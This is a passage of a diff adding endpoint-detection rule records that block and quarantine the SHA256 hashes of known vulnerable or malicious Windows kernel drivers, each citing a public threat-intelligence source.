+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979743Z",
+  "creation_date": "2026-03-23T11:45:29.979745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979751Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "948735962436df24baa69e58421345d4a295e0821f4f93fd9f64e11f51a9666f",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ded0bd6b-5f87-57ce-8efd-578d6781bca1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491938Z",
+  "creation_date": "2026-03-23T11:45:31.491940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491946Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a1b6c77ff2b68bbc492047d56234192f8a7ae7a69e92737e38db67a8e35ceb4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ded40bbc-1bc0-5abc-a8ab-d4870595901f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824097Z",
+  "creation_date": "2026-03-23T11:45:30.824099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00d957e49a5b6c290c8d0f645b91d2688396c708464ae3da33b79d4ff964874b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dedff988-300f-56ee-a8c9-188aa9b544cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486074Z",
+  "creation_date": "2026-03-23T11:45:31.486077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486087Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f082d6c315906e10e06d2da9ba3b15396935c74e68b26f34cc026121e540b7a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dee09683-3d9f-53cf-b209-70207d8b7774",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817607Z",
+  "creation_date": "2026-03-23T11:45:31.817610Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b6157234e63a145e4cbdb4b3236ab3daf40814a723ba8cc83c1156cc70a6f0c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dee6556d-b7e7-5038-83b3-d472ba9ec229",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150651Z",
+  "creation_date": "2026-03-23T11:45:31.150653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150659Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "025664833087b5a79110ffeb655a9f3eedbcb1ef737959bdbd7c3f4ff9c15245",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "def2807f-9961-5726-97b6-58cd446f291c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972646Z",
+  "creation_date": "2026-03-23T11:45:29.972648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972653Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "485f3a67b826928c1f2d6ba7437b02d42c1b55a6511b521deb9a36aeb304ef98",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "def333ff-4b60-51b6-8bd6-5b0b3868d735",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159728Z",
+  "creation_date": "2026-03-23T11:45:31.159730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eb7b71fe375b12475c29a427fe9b6cc1cb6608aa42b941e5df62a3db674473b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "def35c13-bb3a-5b8f-a1af-3b7edd6b53cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831458Z",
+  "creation_date": "2026-03-23T11:45:30.831460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e77d67300df62b68912b851a1570d1706f5ef7214f340dacc9b183593995337e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "defbb607-2629-550d-9a44-ec1bb262ab14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474450Z",
+  "creation_date": "2026-03-23T11:45:31.474454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9c34e35292bdbf1e112d13955a83548a9e6d0c907f8232a3caf2162cc20006b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "deff8520-d81a-5d94-b8d7-237c5936132a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474747Z",
+  "creation_date": "2026-03-23T11:45:31.474751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b72696370157b9ed2aa2cbed958b66836d4fc13099464cfc0e6758607961df19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df14440a-0095-5fce-9278-bb91178899be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827455Z",
+  "creation_date": "2026-03-23T11:45:31.827458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8384f1b5b1e9dacbe78d329d5787f0ca8f10be035b796e9d19f7d81a9e3abacd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df1c70b3-fa68-5d00-8a2a-9e32eb2bdde0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620675Z",
+  "creation_date": "2026-03-23T11:45:29.620677Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "845f1e228de249fc1ddf8dc28c39d03e8ad328a6277b6502d3932e83b879a65a",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df1c759c-8020-5f3e-b563-0f63270bd453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486499Z",
+  "creation_date": "2026-03-23T11:45:31.486502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486509Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bd0dc24102711f8c41cfa7299a2ab606224a8d52acf2a3cb9f7fc3d8102a8ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df24868d-9e99-56ad-b279-4762de15c020",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967316Z",
+  "creation_date": "2026-03-23T11:45:29.967319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967327Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a229ab274e364df92cc46ecbc9faab32f7b0955dab982658313f2faf9410863",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df25a7b9-69a4-5e60-836f-f942c3d85338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982050Z",
+  "creation_date": "2026-03-23T11:45:29.982052Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982058Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df347e10-0d1a-5575-9b71-125ceafd1e96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818548Z",
+  "creation_date": "2026-03-23T11:45:31.818551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aaadfbe909aaa736fcd05fc1c93653adf03f538f4a86a99c90aaabf00db193dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df373da0-6a43-5d5d-8ed6-9a81a506b462",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831937Z",
+  "creation_date": "2026-03-23T11:45:30.831939Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831952Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30c4bba32e37c9e23f2852a1f4ee2d932add867138b59a91ee0636d158d107c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df40da13-7216-542f-9129-8f5f25493d44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476306Z",
+  "creation_date": "2026-03-23T11:45:31.476310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ec7885c15536e216bf07925bd8251e034a91ccec52867bb306e7634f735aa48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df4302e7-87cd-5644-86db-58509df0c1b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494140Z",
+  "creation_date": "2026-03-23T11:45:31.494143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494152Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b67eb9bd456204bab6446c08d31a86fd4bf02da67a52c12d99e9d5630b270c23",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df57b911-233f-59be-95fd-074466828d63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144652Z",
+  "creation_date": "2026-03-23T11:45:32.144654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144659Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "345ebed68c4e68aff5dd14c8df8524b69db4793845ca814bded608b246077792",
+  "comment": "Malicious Kernel Driver (aka driver_099ef491.sys) [https://www.loldrivers.io/drivers/2ba1bccf-d8d7-464a-9ae1-41371c55e5e8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df757311-db0d-5aa8-b32d-5fbc13ebd824",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827993Z",
+  "creation_date": "2026-03-23T11:45:30.827996Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828001Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a18654cf0bfa5223405493e42c4fca89a376ed06e6606d4339c951a5066c908",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df770ca9-9ebe-505d-8ae1-2c0547490072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834520Z",
+  "creation_date": "2026-03-23T11:45:30.834524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
